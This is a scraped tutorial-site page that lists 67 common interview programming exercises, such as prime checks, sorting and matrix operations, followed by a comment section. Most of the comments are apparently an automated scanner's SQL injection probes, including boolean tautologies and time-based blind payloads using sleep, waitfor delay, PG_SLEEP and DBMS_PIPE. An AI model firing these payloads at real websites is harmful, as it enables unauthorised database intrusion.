Top Programming Questions Asked In Interviews


Frequently Asked Programs in Interviews & Coding Rounds : This section focuses on frequently asked programs in programming interviews and coding rounds. These programs should be practiced to improve the coding skills required for various interviews (campus interviews, walk-in interviews), coding rounds etc.

Here for each program you will find solutions in six programming languages : C, C++, Java, Python, C#, PHP with explanation and examples that will help you to understand programs clearly. You will also find algorithms or flowcharts in each program.

List of the most important and commonly asked programs in interviews & coding rounds :-



1. Program to check whether the number is even or odd.


2. Program to check whether the given number is prime number or not.

3. Program to check whether the given year is leap year or not.

4. Program to count the number of digits in a number.

5. Program to find sum of digits of a given number.

6. Program to swap two numbers without using temporary variable.

7. Program to print fibonacci series.

8. Program to check whether a character is vowel or consonant.

9. Program to find GCD of two numbers.

10. Program to find LCM of two numbers.

11. Program to find perfect number.

12. Program to find whether a number is power of two or not.

13. Program to find factorial of a number.

14. Program to check armstrong number.

15. Program to make a simple calculator.

16. Program to find length of a string.

17. Program to check whether the two strings are anagram of each other or not.

18. Program to check whether the string is substring of given string or not.

19. Program to check whether the given number is palindrome or not.

20. Program to check whether the given string is pangram or not.

21. Program to reverse a string.

22. Program to count occurrences of a given character in a string.

23. Program to sort the characters in a given string.

24. Program to print all permutations of a given string.

25. Program to find sum of array elements.

26. Program to find pairs with given sum in an array.

27. Program to print all distinct elements of a given integer array.

28. Program to delete duplicate elements from array.

29. Program to find smallest element in an array.

30. Program to find largest element in an array.

31. Program to search element in array using binary search algorithm.

32. Program to sort array elements in ascending order using bubble sort.

33. Program to sort array elements in descending order using bubble sort.

34. Program to sort array elements in ascending order using selection sort algorithm.

35. Program to sort array elements in descending order using selection sort algorithm.

36. Program to sort array elements in ascending order using Insertion Sort.

37. Program to sort array elements in descending order using Insertion Sort.

38. Program to add two matrices.

39. Program to subtract two matrices.

40. Program to multiply two matrices.

41. Program to print floyds triangle.

42. Program to print full pyramid pattern using stars.

43. Program to print half pyramid pattern using stars.

44. Program to print half inverted pyramid pattern using stars.

45. Program to print lower triangular elements of an array.

46. Program to print upper triangular elements of an array.

47. Program to concatenate two string without using library function.

48. Program to convert number from decimal to binary number.

49. Program to count total number of vowels and consonants in a string.

50. Program for Left array rotation.

51. Program to check whether a number is positive or negative.

52. Program to find greatest of three numbers.

53. Program to print pascal's triangle.

54. Program to find square root of a number.

55. Program to check automorphic number.

56. Program to check abundant number.

57. Program To check friendly pair.

58. Program to check strong number.

59. Program to find square root of a number.

60. Program to find the missing number in array.

61. Program to check harshad (or niven) number.

62. Program to print the numbers divisible by 5 or 7.

63. Program to print multiplication table of a number.

64. Program to remove all occurrences of a character in a string.

65. Program for product of 2 numbers using recursion.

66. Program to check if a given number is a power of three or not..

67. Program to find the frequency of each element in an array.










Discussion



* You must be logged in to add comment.

Aman Jain
Very Helpful Programs

Kartik sharma
I like the way the solution has been given. The program helped me crack the interview. You guys doing a great job. Keep it up.

Nasreen Laskar
Quite helpful. Best thing is that solutions are given in various languages. Very helpful for one preparing for job interviews.

Letsfindcourse
555

Letsfindcourse
-1 OR 2+717-717-1=0+0+0+1 --

Letsfindcourse
-1 OR 3+717-717-1=0+0+0+1 --

Letsfindcourse
-1 OR 3*2<(0+5+717-717) --

Letsfindcourse
-1 OR 3*2>(0+5+717-717) --

Letsfindcourse
-1 OR 2+32-32-1=0+0+0+1

Letsfindcourse
-1 OR 3+32-32-1=0+0+0+1

Letsfindcourse
-1 OR 3*2<(0+5+32-32)

Letsfindcourse
-1 OR 3*2>(0+5+32-32)

Letsfindcourse
-1' OR 2+353-353-1=0+0+0+1 --

Letsfindcourse
-1' OR 3+353-353-1=0+0+0+1 --

Letsfindcourse
-1' OR 3*2<(0+5+353-353) --

Letsfindcourse
-1' OR 3*2>(0+5+353-353) --

Letsfindcourse
-1' OR 2+587-587-1=0+0+0+1 or 'hcsNrnJD'='

Letsfindcourse
-1' OR 3+587-587-1=0+0+0+1 or 'hcsNrnJD'='

Letsfindcourse
-1' OR 3*2<(0+5+587-587) or 'hcsNrnJD'='

Letsfindcourse
-1' OR 3*2>(0+5+587-587) or 'hcsNrnJD'='

Letsfindcourse
-1" OR 2+152-152-1=0+0+0+1 --

Letsfindcourse
-1" OR 3+152-152-1=0+0+0+1 --

Letsfindcourse
-1" OR 3*2<(0+5+152-152) --

Letsfindcourse
-1" OR 3*2>(0+5+152-152) --

Letsfindcourse
if(now()=sysdate(),sleep(15),0)

Letsfindcourse
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Letsfindcourse
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

Letsfindcourse
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Letsfindcourse
-1; waitfor delay '0:0:15' --

Letsfindcourse
-1); waitfor delay '0:0:15' --

Letsfindcourse
1 waitfor delay '0:0:15' --

Letsfindcourse
YysUcGWO'; waitfor delay '0:0:15' --

Letsfindcourse
-5 OR 513=(SELECT 513 FROM PG_SLEEP(15))--

Letsfindcourse
-5) OR 394=(SELECT 394 FROM PG_SLEEP(15))--

Letsfindcourse
-1)) OR 63=(SELECT 63 FROM PG_SLEEP(15))--

Letsfindcourse
lCuB3IWX' OR 549=(SELECT 549 FROM PG_SLEEP(15))--

Letsfindcourse
wOIY8Sqs') OR 687=(SELECT 687 FROM PG_SLEEP(15))--

Letsfindcourse
YzV8ZVmm')) OR 376=(SELECT 376 FROM PG_SLEEP(15))--

Letsfindcourse
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Letsfindcourse
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Letsfindcourse
1'"

Letsfindcourse

Letsfindcourse
@@59k9F

Letsfindcourse
555

Letsfindcourse
555

Letsfindcourse
555